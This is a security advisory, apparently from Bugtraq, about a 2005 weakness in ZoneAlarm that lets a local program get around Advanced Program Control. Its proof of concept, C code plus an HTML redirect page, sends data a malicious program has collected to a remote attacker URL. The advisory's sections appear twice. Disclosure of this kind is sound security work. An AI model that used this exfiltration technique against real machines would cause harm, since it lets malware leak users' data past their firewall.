Zone Labs Zone Alarm Advance Program Control Bypass Weakness
BID:15347
Info
Zone Labs Zone Alarm Advance Program Control Bypass Weakness
| Bugtraq ID: | 15347 |
| Class: | Design Error |
| CVE: | |
| Remote: | No |
| Local: | Yes |
| Published: | Nov 07 2005 12:00AM |
| Updated: | Nov 07 2005 12:00AM |
| Credit: | Discovered by Tr0y (a.k.a Debasis Mohanty) <[email protected]>. |
| Vulnerable: |
Zone Labs ZoneAlarm Pro 6.0 Zone Labs ZoneAlarm Internet Security Suite 6.0 Zone Labs ZoneAlarm Antivirus 6.0 Zone Labs ZoneAlarm Anti-Spyware 6.1 Zone Labs ZoneAlarm Anti-Spyware 6.0 Zone Labs ZoneAlarm 6.0 |
| Not Vulnerable: | |
Discussion
Zone Labs Zone Alarm Advance Program Control Bypass Weakness
Zone Labs Zone Alarm is prone to a weakness that permits the bypassing of the Advanced Program Control protection.
Reports indicate that applications can create a modal dialog box displaying HTML, which can then be redirected to a remote site.
This would allow a malicious program to bypass Advanced Program Control protection and send data to a remote attacker from a compromised computer.
It should be noted that this issue only presents itself if the Advanced Program Control setting has been enabled and the browser has been authorized to access the Internet.
Zone Labs Zone Alarm is prone to a weakness that permits the bypassing of the Advanced Program Control protection.
Reports indicate that applications can create a modal dialog box displaying HTML, which can then be redirected to a remote site.
This would allow a malicious program to bypass Advanced Program Control protection and send data to a remote attacker from a compromised computer.
It should be noted that this issue only presents itself if the Advanced Program Control setting has been enabled and the browser has been authorized to access the Internet.
Exploit / POC
Zone Labs Zone Alarm Advance Program Control Bypass Weakness
The following proof of concept is available:
<<< osfwbypass-demo.c >>>
BOOL LoadHtmlDialog(void)
{
HINSTANCE hinstMSHTML = LoadLibrary(TEXT("MSHTML.DLL"));
if (hinstMSHTML)
{
SHOWHTMLDIALOGFN* pfnShowHTMLDialog;
// Open a Modal Dialog box of HTML content type
pfnShowHTMLDialog = (SHOWHTMLDIALOGFN*)GetProcAddress(hinstMSHTML,
TEXT("ShowHTMLDialog"));
if (pfnShowHTMLDialog)
{
IMoniker *pURLMoniker;
// Invoke the html file containing the data to be sent via http
BSTR bstrURL = SysAllocString(L"c:\\modal-dialog.htm");
CreateURLMoniker(NULL, bstrURL, &pURLMoniker);
if (pURLMoniker)
{
(*pfnShowHTMLDialog)(NULL, pURLMoniker, NULL, NULL, NULL);
pURLMoniker->Release();
}
SysFreeString(bstrURL);
}
FreeLibrary(hinstMSHTML);
}
Return True;
}
<<< +++ >>>
<<< modal-dialog.htm >>>
<html>
<head>
<meta http-equiv="Content-Language" content="en-us">
<title>Redirection Dialog</title>
<script language="JavaScript">
<!-- Here goes the information logged by the malicious program which will
be sent to the evil site via http request -->
var sTargetURL =
"http://www.hackingspirits.com/vuln-rnd/demo/defeat-osfw.asp?[Your
Information Here]
window.location.href = sTargetURL;
window.close;
</script>
</head>
</html>
<<< +++ >>>
The following proof of concept is available:
<<< osfwbypass-demo.c >>>
BOOL LoadHtmlDialog(void)
{
HINSTANCE hinstMSHTML = LoadLibrary(TEXT("MSHTML.DLL"));
if (hinstMSHTML)
{
SHOWHTMLDIALOGFN* pfnShowHTMLDialog;
// Open a Modal Dialog box of HTML content type
pfnShowHTMLDialog = (SHOWHTMLDIALOGFN*)GetProcAddress(hinstMSHTML,
TEXT("ShowHTMLDialog"));
if (pfnShowHTMLDialog)
{
IMoniker *pURLMoniker;
// Invoke the html file containing the data to be sent via http
BSTR bstrURL = SysAllocString(L"c:\\modal-dialog.htm");
CreateURLMoniker(NULL, bstrURL, &pURLMoniker);
if (pURLMoniker)
{
(*pfnShowHTMLDialog)(NULL, pURLMoniker, NULL, NULL, NULL);
pURLMoniker->Release();
}
SysFreeString(bstrURL);
}
FreeLibrary(hinstMSHTML);
}
Return True;
}
<<< +++ >>>
<<< modal-dialog.htm >>>
<html>
<head>
<meta http-equiv="Content-Language" content="en-us">
<title>Redirection Dialog</title>
<script language="JavaScript">
<!-- Here goes the information logged by the malicious program which will
be sent to the evil site via http request -->
var sTargetURL =
"http://www.hackingspirits.com/vuln-rnd/demo/defeat-osfw.asp?[Your
Information Here]
window.location.href = sTargetURL;
window.close;
</script>
</head>
</html>
<<< +++ >>>
Solution / Fix
Zone Labs Zone Alarm Advance Program Control Bypass Weakness
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
References
Zone Labs Zone Alarm Advance Program Control Bypass Weakness
References:
References:
- Zone Labs Homepage (Zone Labs)
- Zone Labs Products Advance Program Control and OS Firewall (Behavioral Based) Te ("Debasis Mohanty"
)